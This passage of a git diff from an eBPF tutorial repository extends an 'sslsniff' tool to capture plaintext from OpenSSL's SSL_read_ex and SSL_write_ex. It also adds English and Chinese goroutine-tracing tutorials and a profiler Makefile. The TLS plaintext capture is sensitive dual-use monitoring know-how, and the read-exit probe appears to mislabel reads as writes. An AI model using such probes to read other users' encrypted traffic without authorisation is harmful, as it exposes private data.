rw, int len) { + int ret = 0; + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); + if (bufp == 0) + return 0; + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (!tsp) + return 0; + u64 delta_ns = ts - *tsp; + + if (len <= 0) // no data + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = delta_ns; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = (u32)len; + data->buf_filled = 0; + data->rw = rw; + data->is_handshake = false; + u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); + + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + + if (bufp != 0) + ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); + + bpf_map_delete_elem(&bufs, &tid); + bpf_map_delete_elem(&start_ns, &tid); + + if (!ret) + data->buf_filled = 1; + else + buf_copy_size = 0; + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(buf_copy_size)); + + return 0; +} + +SEC("uretprobe/SSL_write_ex") +int BPF_URETPROBE(probe_SSL_write_ex_exit) +{ + u32 tid = (u32)bpf_get_current_pid_tgid(); + size_t **readbytes_ptr = bpf_map_lookup_elem(&readbytes_ptrs, &tid); + if (!readbytes_ptr) + return 0; + + size_t written = 0; + bpf_probe_read_user(&written, sizeof(written), *readbytes_ptr); + bpf_map_delete_elem(&readbytes_ptrs, &tid); + + int ret = PT_REGS_RC(ctx); + int len = (ret == 1) ? written : 0; + + return ex_SSL_exit(ctx, 1, len); +} + +SEC("uretprobe/SSL_read_ex") +int BPF_URETPROBE(probe_SSL_read_ex_exit) +{ + u32 tid = (u32)bpf_get_current_pid_tgid(); + size_t **readbytes_ptr = bpf_map_lookup_elem(&readbytes_ptrs, &tid); + if (!readbytes_ptr) + return 0; + + size_t written = 0; + bpf_probe_read_user(&written, sizeof(written), *readbytes_ptr); + bpf_map_delete_elem(&readbytes_ptrs, &tid); + + int ret = PT_REGS_RC(ctx); + int len = (ret == 1) ? written : 0; + + return ex_SSL_exit(ctx, 1, len); +} + SEC("uprobe/do_handshake") int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); @@ -217,4 +360,4 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { return 0; } -char LICENSE[] SEC("license") = "GPL"; +char LICENSE[] SEC("license") = "GPL"; \ No newline at end of file diff --git a/src/30-sslsniff/sslsniff.c b/src/30-sslsniff/sslsniff.c index a9e27c9a..29949119 100644 --- a/src/30-sslsniff/sslsniff.c +++ b/src/30-sslsniff/sslsniff.c @@ -8,9 +8,7 @@ #include #include #include -#include #include -#include #include #include #include @@ -92,8 +90,8 @@ struct env { .uid = INVALID_UID, .pid = INVALID_PID, .openssl = true, - .gnutls = true, - .nss = true, + .gnutls = false, + .nss = false, .comm = NULL, }; @@ -197,6 +195,11 @@ int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); + ATTACH_UPROBE_CHECKED(skel, lib, SSL_write_ex, probe_SSL_write_ex_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write_ex, probe_SSL_write_ex_exit); + ATTACH_UPROBE_CHECKED(skel, lib, SSL_read_ex, probe_SSL_read_ex_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read_ex, probe_SSL_read_ex_exit); + if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); diff --git a/src/31-goroutine/.config b/src/31-goroutine/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/31-goroutine/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/31-goroutine/README.md b/src/31-goroutine/README.md index e737c97a..ff8e5639 100644 --- a/src/31-goroutine/README.md +++ b/src/31-goroutine/README.md @@ -1,33 +1,114 @@ -# goroutine trace - -**UNFINISHED YET**: The offset of goid field is hardcoded. It was only tested on the bundled `go-server-http`. It MAY NOT WORK on other go programs. - -The bundled fo program was compiled using go 1.17.0. The executable and source could be found at folder `go-server-http`. - -This example traces the state switch of goroutines, and prints the corresponding state, goid, pid and tgid. - -```console -root@mnfe-pve:~/bpf-developer-tutorial/src/31-goroutine# ecc goroutine.bpf.c goroutine.h -INFO [ecc_rs::bpf_compiler] Compiling bpf object... -INFO [ecc_rs::bpf_compiler] Generating export types... -INFO [ecc_rs::bpf_compiler] Generating package json.. -INFO [ecc_rs::bpf_compiler] Packing ebpf object and config into package.json... -root@mnfe-pve:~/bpf-developer-tutorial/src/31-goroutine# ecli-rs run package.json -INFO [faerie::elf] strtab: 0x6fb symtab 0x738 relocs 0x780 sh_offset 0x780 -INFO [bpf_loader_lib::skeleton::preload::section_loader] User didn't specify custom value for variable __eunomia_dummy_goroutine_execute_data_ptr, use the default one in ELF -TIME STATE GOID PID TGID -INFO [bpf_loader_lib::skeleton] Running ebpf program... -21:00:47 DEAD(6) 0 2542844 2542844 -21:00:47 RUNNABLE(1) 0 2542844 2542844 -21:00:47 DEAD(6) 0 2542844 2542844 -21:00:47 RUNNING(2) 1 2542844 2542844 -21:00:47 DEAD(6) 0 2542844 2542844 -21:00:47 RUNNABLE(1) 0 2542844 2542844 -21:00:47 RUNNABLE(1) 1 2542844 2542844 -21:00:47 RUNNING(2) 2 2542847 2542844 -21:00:47 WAITING(4) 2 2542847 2542844 -.... +# eBPF Practical Tutorial: Using eBPF to Trace Go Routine States + +Go, the popular programming language created by Google, is known for its powerful concurrency model. One of the key features that makes Go stand out is the use of goroutines—lightweight, managed threads that make it easy to write concurrent programs. However, understanding and tracing the execution states of these goroutines in real time can be challenging, especially when debugging complex systems. + +Enter eBPF (Extended Berkeley Packet Filter), a technology originally designed for network packet filtering, but which has since evolved into a powerful tool for tracing and monitoring system behavior. By leveraging eBPF, we can tap into the kernel and gather insights about the runtime behavior of Go programs, including the states of goroutines. This blog post explores how to use eBPF to trace the state transitions of goroutines in a Go program. + +> The complete source code: + +## Background: Goroutines and eBPF + +### Goroutines + +Goroutines are a core feature of Go, providing a simple and efficient way to handle concurrency. Unlike traditional threads, goroutines are managed by the Go runtime rather than the operating system, making them much more lightweight. Goroutines can switch states, such as: + +- **RUNNABLE**: The goroutine is ready to run. +- **RUNNING**: The goroutine is currently executing. +- **WAITING**: The goroutine is waiting for some event (e.g., I/O, timers). +- **DEAD**: The goroutine has finished executing and is terminated. + +Understanding these states and how goroutines transition between them is crucial for diagnosing performance issues and ensuring that your Go programs are running efficiently. + +### eBPF + +eBPF is a powerful technology that allows developers to run custom programs inside the Linux kernel without changing the kernel source code or loading kernel modules. Initially designed for packet filtering, eBPF has grown into a versatile tool used for performance monitoring, security, and debugging. + +By writing eBPF programs, developers can trace various system events, including system calls, network events, and process execution. In this blog, we'll focus on how eBPF can be used to trace the state transitions of goroutines in a Go program. + +## The eBPF Kernel Code + +Let's dive into the eBPF kernel code that makes this tracing possible. + +```c +#include +#include "goroutine.h" +#include +#include +#include + +#define GOID_OFFSET 0x98 + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +SEC("uprobe/./go-server-http/main:runtime.casgstatus") +int uprobe_runtime_casgstatus(struct pt_regs *ctx) { + int newval = ctx->cx; + void *gp = ctx->ax; + struct goroutine_execute_data *data; + u64 goid; + if (bpf_probe_read_user(&goid, sizeof(goid), gp + GOID_OFFSET) == 0) { + data = bpf_ringbuf_reserve(&rb, sizeof(*data), 0); + if (data) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + data->pid = pid_tgid; + data->tgid = pid_tgid >> 32; + data->goid = goid; + data->state = newval; + bpf_ringbuf_submit(data, 0); + } + } + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; ``` +1. **Header Files**: The code begins by including necessary header files, such as `vmlinux.h`, which provides kernel definitions, and `bpf_helpers.h`, which offers helper functions for eBPF programs. +2. **GOID_OFFSET**: The offset of the `goid` field is hardcoded to `0x98`, which is specific to the Go version and the program being traced. This offset may vary between different Go versions or programs. +3. **Ring Buffer Map**: A BPF ring buffer map is defined to store the goroutine execution data. This buffer allows the kernel to pass information to user space efficiently. +4. **Uprobe**: The core of this eBPF program is an uprobes (user-level probe) attached to the `runtime.casgstatus` function in the Go program. This function is responsible for changing the state of a goroutine, making it an ideal place to intercept and trace state transitions. +5. **Reading Goroutine ID**: The `bpf_probe_read_user` function reads the goroutine ID (`goid`) from the user space memory, using the predefined offset. +6. **Submitting Data**: If the goroutine ID is successfully read, the data is stored in the ring buffer along with the process ID, thread group ID, and the new state of the goroutine. This data is then submitted to the user space for analysis. + +## Running the Program + +To run this tracing program, follow these steps: + +1. **Compile the eBPF Code**: Compile the eBPF program using a compiler like `ecc` (eBPF Compiler Collection) and generate a package that can be loaded by an eBPF loader. + + ```bash + ecc goroutine.bpf.c goroutine.h + ``` + +2. **Run the eBPF Program**: Use an eBPF loader to run the compiled eBPF program. + + ```bash + ecli-rs run package.json + ``` + +3. **Output**: The program will output the state transitions of goroutines along with their `goid`, `pid`, and `tgid`. Here’s an example of the output: + + ```console + TIME STATE GOID PID TGID + 21:00:47 DEAD(6) 0 2542844 2542844 + 21:00:47 RUNNABLE(1) 0 2542844 2542844 + 21:00:47 RUNNING(2) 1 2542844 2542844 + 21:00:47 WAITING(4) 2 2542847 2542844 + ``` + +You can find the complete code in + +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website to get more examples and complete tutorials. + +`Uprobe` in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode, compatible with kernel mode eBPF and can be faster for `uprobe`. + +### Conclusion + +Tracing goroutine states using eBPF provides deep insights into the execution of Go programs, especially in production environments where traditional debugging tools may fall short. By leveraging eBPF, developers can monitor and diagnose performance issues, ensuring their Go applications run efficiently. + +Keep in mind that the offsets used in this eBPF program are specific to the Go version and the program being traced. As Go evolves, these offsets may change, requiring updates to the eBPF code. -This example is provided as GPL license +In future explorations, we can extend this approach to trace other aspects of Go programs or even other languages, demonstrating the versatility and power of eBPF in modern software development. diff --git a/src/31-goroutine/README.zh.md b/src/31-goroutine/README.zh.md new file mode 100644 index 00000000..b59004e5 --- /dev/null +++ b/src/31-goroutine/README.zh.md @@ -0,0 +1,112 @@ +# eBPF 实践教程:使用 eBPF 跟踪 Go 协程状态 + +Go 是 Google 创建的一种广受欢迎的编程语言,以其强大的并发模型而著称。Go 语言的一个重要特点是协程(goroutine)的使用——这些协程是轻量级、由 Go 运行时管理的线程,使得编写并发程序变得非常简单。然而,在实时环境中理解和跟踪这些协程的执行状态,尤其是在调试复杂系统时,可能会面临很大的挑战。 + +这时我们可以利用 eBPF(扩展伯克利包过滤器)技术。eBPF 最初设计用于网络数据包过滤,但随着时间的推移,eBPF 已经发展成为一个强大的工具,用于跟踪和监控系统行为。通过使用 eBPF,我们可以深入到内核,收集有关 Go 程序运行时行为的数据,包括协程的状态。本文将探讨如何使用 eBPF 跟踪 Go 程序中的协程状态转换。 + +## 背景:协程与 eBPF + +### 协程 + +协程是 Go 语言的核心特性之一,它提供了一种简单而高效的并发处理方式。与传统的线程不同,协程由 Go 运行时管理,而不是由操作系统管理,因此更加轻量化。协程可以在以下几种状态之间进行转换: + +- **RUNNABLE(可运行)**:协程已准备好运行。 +- **RUNNING(运行中)**:协程正在执行中。 +- **WAITING(等待)**:协程正在等待某个事件(如 I/O 或定时器)。 +- **DEAD(终止)**:协程执行完毕并已终止。 + +理解这些状态以及协程之间的状态转换对于诊断性能问题、确保 Go 程序的高效运行至关重要。 + +### eBPF + +eBPF 是一种强大的技术,它允许开发人员在不修改内核源代码或加载内核模块的情况下,在 Linux 内核中运行自定义程序。eBPF 最初用于数据包过滤,但现在已扩展为一种多功能工具,广泛应用于性能监控、安全和调试。 + +通过编写 eBPF 程序,开发人员可以跟踪各种系统事件,包括系统调用、网络事件和进程执行。在本文中,我们将重点介绍如何使用 eBPF 跟踪 Go 程序中协程的状态转换。 + +## eBPF 内核代码 + +现在,让我们深入探讨实现该跟踪功能的 eBPF 内核代码。 + +```c +#include +#include "goroutine.h" +#include +#include +#include + +#define GOID_OFFSET 0x98 + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +SEC("uprobe/./go-server-http/main:runtime.casgstatus") +int uprobe_runtime_casgstatus(struct pt_regs *ctx) { + int newval = ctx->cx; + void *gp = ctx->ax; + struct goroutine_execute_data *data; + u64 goid; + if (bpf_probe_read_user(&goid, sizeof(goid), gp + GOID_OFFSET) == 0) { + data = bpf_ringbuf_reserve(&rb, sizeof(*data), 0); + if (data) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + data->pid = pid_tgid; + data->tgid = pid_tgid >> 32; + data->goid = goid; + data->state = newval; + bpf_ringbuf_submit(data, 0); + } + } + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +1. **头文件**:代码首先包含了必要的头文件,如 `vmlinux.h`(提供内核定义)和 `bpf_helpers.h`(提供 eBPF 程序的辅助函数)。 +2. **GOID_OFFSET**:`goid` 字段的偏移量被硬编码为 `0x98`,这是特定于所跟踪的 Go 版本和程序的。此偏移量在不同的 Go 版本或程序中可能有所不同。 +3. **环形缓冲区映射**:定义了一个 BPF 环形缓冲区映射,用于存储协程的执行数据。这个缓冲区允许内核高效地将信息传递到用户空间。 +4. **Uprobe**:该 eBPF 程序的核心是一个附加到 Go 程序中 `runtime.casgstatus` 函数的 uprobe(用户级探针)。该函数负责改变协程的状态,因此非常适合用来拦截和跟踪状态转换。 +5. **读取协程 ID**:`bpf_probe_read_user` 函数从用户空间内存中读取协程 ID(`goid`),使用的是预定义的偏移量。 +6. **提交数据**:如果成功读取了协程 ID,则数据会与进程 ID、线程组 ID 以及协程的新状态一起存储在环形缓冲区中。随后,这些数据会提交到用户空间以供分析。 + +## 运行程序 + +要运行此跟踪程序,请按照以下步骤操作: + +1. **编译 eBPF 代码**:使用类似 `ecc`(eBPF 编译集合)这样的编译器编译 eBPF 程序,并生成一个可以由 eBPF 加载器加载的包。 + + ```bash + ecc goroutine.bpf.c goroutine.h + ``` + +2. **运行 eBPF 程序**:使用 eBPF 加载器运行编译后的 eBPF 程序。 + + ```bash + ecli-rs run package.json + ``` + +3. **输出**:程序将输出协程的状态转换及其 `goid`、`pid` 和 `tgid`。以下是一个示例输出: + + ```console + TIME STATE GOID PID TGID + 21:00:47 DEAD(6) 0 2542844 2542844 + 21:00:47 RUNNABLE(1) 0 2542844 2542844 + 21:00:47 RUNNING(2) 1 2542844 2542844 + 21:00:47 WAITING(4) 2 2542847 2542844 + ``` + +完整代码可以在 找到。 + +如果你想了解更多关于 eBPF 的知识和实践,你可以访问我们的教程代码库 或网站 获取更多示例和完整教程。 + +内核模式 eBPF 运行时的 `Uprobe` 可能会带来较大的性能开销。在这种情况下,你也可以考虑使用用户模式的 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是基于 LLVM JIT/AOT 的用户模式 eBPF 运行时,它可以在用户模式下运行 eBPF 程序,并且在处理 `uprobe` 时比内核模式 eBPF 更快。 + +### 结论 + +使用 eBPF 跟踪协程状态可以深入了解 Go 程序的执行情况,尤其是在传统调试工具可能无法胜任的生产环境中。通过利用 eBPF,开发人员可以监控和诊断性能问题,确保 Go 应用程序高效运行。 + +请注意,本 eBPF 程序中使用的偏移量是特定于所跟踪的 Go 版本和程序的。随着 Go 的发展,这些偏移量可能会发生变化,需要对 eBPF 代码进行更新。 + +在未来的探索中,我们可以将这种方法扩展到跟踪 Go 程序或其他语言的其他方面,展示 eBPF 在现代软件开发中的多功能性和强大作用。 diff --git a/src/31-goroutine/goroutine.bpf.c b/src/31-goroutine/goroutine.bpf.c index 5fc152f5..8ea21b9d 100644 --- a/src/31-goroutine/goroutine.bpf.c +++ b/src/31-goroutine/goroutine.bpf.c @@ -28,8 +28,6 @@ #include #include - - #define GOID_OFFSET 0x98 struct { @@ -40,7 +38,7 @@ struct { SEC("uprobe/./go-server-http/main:runtime.casgstatus") int uprobe_runtime_casgstatus(struct pt_regs *ctx) { int newval = ctx->cx; - void *gp = ctx->ax; + void *gp = (void*)ctx->ax; struct goroutine_execute_data *data; u64 goid; if (bpf_probe_read_user(&goid, sizeof(goid), gp + GOID_OFFSET) == 0) { diff --git a/src/31-goroutine/goroutine.c b/src/31-goroutine/goroutine.c deleted file mode 100644 index 89c9ee90..00000000 --- a/src/31-goroutine/goroutine.c +++ /dev/null @@ -1,172 +0,0 @@ -// SPDX-License-Identifier: GPL-2.0 -#include -#include -#include -#include -#include -#include -#include "goroutine.h" -#include "goroutine.skel.h" - -static struct env { - bool verbose; - long min_duration_ms; -} env; - -const char *argp_program_version = "goroutine 0.0"; -const char *argp_program_bug_address = ""; -const char argp_program_doc[] = -"BPF goroutine demo application.\n" -"\n" -"It traces process start and exits and shows associated \n" -"information (filename, process duration, PID and PPID, etc).\n" -"\n" -"USAGE: ./goroutine [-d ] [-v]\n"; - -static const struct argp_option opts[] = { - { "verbose", 'v', NULL, 0, "Verbose debug output" }, - { "duration", 'd', "DURATION-MS", 0, "Minimum process duration (ms) to report" }, - {}, -}; - -static error_t parse_arg(int key, char *arg, struct argp_state *state) -{ - switch (key) { - case 'v': - env.verbose = true; - break; - case 'd': - errno = 0; - env.min_duration_ms = strtol(arg, NULL, 10); - if (errno || env.min_duration_ms <= 0) { - fprintf(stderr, "Invalid duration: %s\n", arg); - argp_usage(state); - } - break; - case ARGP_KEY_ARG: - argp_usage(state); - break; - default: - return ARGP_ERR_UNKNOWN; - } - return 0; -} - -static const struct argp argp = { - .options = opts, - .parser = parse_arg, - .doc = argp_program_doc, -}; - -static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) -{ - if (level == LIBBPF_DEBUG && !env.verbose) - return 0; - return vfprintf(stderr, format, args); -} - -static volatile bool exiting = false; - -static void sig_handler(int sig) -{ - exiting = true; -} - -static int handle_event(void *ctx, void *data, size_t data_sz) -{ - const struct event *e = data; - struct tm *tm; - char ts[32]; - time_t t; - - time(&t); - tm = localtime(&t); - strftime(ts, sizeof(ts), "%H:%M:%S", tm); - - if (e->exit_event) { - printf("%-8s %-5s %-16s %-7d %-7d [%u]", - ts, "EXIT", e->comm, e->pid, e->ppid, e->exit_code); - if (e->duration_ns) - printf(" (%llums)", e->duration_ns / 1000000); - printf("\n"); - } else { - printf("%-8s %-5s %-16s %-7d %-7d %s\n", - ts, "EXEC", e->comm, e->pid, e->ppid, e->filename); - } - - return 0; -} - -int main(int argc, char **argv) -{ - struct ring_buffer *rb = NULL; - struct goroutine_bpf *skel; - int err; - - /* Parse command line arguments */ - err = argp_parse(&argp, argc, argv, 0, NULL, NULL); - if (err) - return err; - - /* Set up libbpf errors and debug info callback */ - libbpf_set_print(libbpf_print_fn); - - /* Cleaner handling of Ctrl-C */ - signal(SIGINT, sig_handler); - signal(SIGTERM, sig_handler); - - /* Load and verify BPF application */ - skel = goroutine_bpf__open(); - if (!skel) { - fprintf(stderr, "Failed to open and load BPF skeleton\n"); - return 1; - } - - /* Parameterize BPF code with minimum duration parameter */ - skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; - - /* Load & verify BPF programs */ - err = goroutine_bpf__load(skel); - if (err) { - fprintf(stderr, "Failed to load and verify BPF skeleton\n"); - goto cleanup; - } - - /* Attach tracepoints */ - err = goroutine_bpf__attach(skel); - if (err) { - fprintf(stderr, "Failed to attach BPF skeleton\n"); - goto cleanup; - } - - /* Set up ring buffer polling */ - rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); - if (!rb) { - err = -1; - fprintf(stderr, "Failed to create ring buffer\n"); - goto cleanup; - } - - /* Process events */ - printf("%-8s %-5s %-16s %-7s %-7s %s\n", - "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); - while (!exiting) { - err = ring_buffer__poll(rb, 100 /* timeout, ms */); - /* Ctrl-C will cause -EINTR */ - if (err == -EINTR) { - err = 0; - break; - } - if (err < 0) { - printf("Error polling perf buffer: %d\n", err); - break; - } - } - -cleanup: - /* Clean up */ - ring_buffer__free(rb); - goroutine_bpf__destroy(skel); - - return err < 0 ? -err : 0; -} diff --git a/src/32-http2/README.md b/src/32-http2/README.md deleted file mode 100644 index ec7b5099..00000000 --- a/src/32-http2/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# http2 from go server - -TODO: make it work diff --git a/src/32-http2/README_en.md b/src/32-http2/README_en.md deleted file mode 100644 index 4e71cf26..00000000 --- a/src/32-http2/README_en.md +++ /dev/null @@ -1,5 +0,0 @@ -# func latency - -TODO: make it work - -from . diff --git a/src/32-wallclock-profiler/.config b/src/32-wallclock-profiler/.config new file mode 100644 index 00000000..0cffb731 --- /dev/null +++ b/src/32-wallclock-profiler/.config @@ -0,0 +1 @@ +level=Depth diff --git a/src/32-wallclock-profiler/.gitignore b/src/32-wallclock-profiler/.gitignore new file mode 100644 index 00000000..3d996e88 --- /dev/null +++ b/src/32-wallclock-profiler/.gitignore @@ -0,0 +1,25 @@ +/.output +/bootstrap +/profile +/offcputime +/oncputime +res.txt +*.o +oncpu.txt +offcpu.txt +FlameGraph +pmumon +test_combined +pmumon_advanced +/demo_results.svg +demo_results.folded +test_program +combined_profile_pid*.svg +combined_profile_pid*.folded +combined_profile_pid*.txt +combined_flamegraph.pl +multithread_combined_profile_pid* +demo_results_single_thread_analysis.txt +test_multithread +perf.data* +double_bandwidth diff --git a/src/32-wallclock-profiler/Makefile b/src/32-wallclock-profiler/Makefile new file mode 100644 index 00000000..1a596574 --- /dev/null +++ b/src/32-wallclock-profiler/Makefile @@ -0,0 +1,163 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall -fno-omit-frame-pointer +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = offcputime oncputime + +# Test programs +TEST_PROGS = tests/test_combined tests/test_multithread tests/double_bandwidth + +# Enable blazesym with new capi +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := offcputime oncputime +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) $(TEST_PROGS) + +.PHONY: tests +tests: $(TEST_PROGS) + +.PHONY: all-with-tests +all-with-tests: all tests + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) $(TEST_PROGS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a:: + $(Q)cd $(LIBBLAZESYM_SRC)/capi && $(CARGO) build --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym_c.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/capi/include/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# Build test programs +tests/test_combined: tests/test_combined.c + $(call msg,TEST,$@) + $(Q)$(CC) $(CFLAGS) $< -o $@ -lpthread + +tests/test_multithread: tests/test_multithread.c + $(call msg,TEST,$@) + $(Q)$(CC) $(CFLAGS) $< -o $@ -lpthread -lm + +tests/double_bandwidth: tests/double_bandwidth.c + $(call msg,TEST,$@) + $(Q)$(CC) $(CFLAGS) -D_GNU_SOURCE -std=c11 -O3 $< -o $@ -lpthread -lm + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/32-wallclock-profiler/README.md b/src/32-wallclock-profiler/README.md new file mode 100644 index 00000000..ec6b7aa7 --- /dev/null +++ b/src/32-wallclock-profiler/README.md @@ -0,0 +1,376 @@ +# eBPF Tutorial by Example 32: Wall Clock Profiling with Combined On-CPU and Off-CPU Analysis + +Performance bottlenecks can hide in two very different places. Your code might be burning CPU cycles in hot loops, or it might be sitting idle waiting for I/O, network responses, or lock contention. Traditional profilers often focus on just one side of this story. But what if you could see both at once? + +This tutorial introduces a complete wall clock profiling solution that combines on-CPU and off-CPU analysis using eBPF. We'll show you how to capture the full picture of where your application spends its 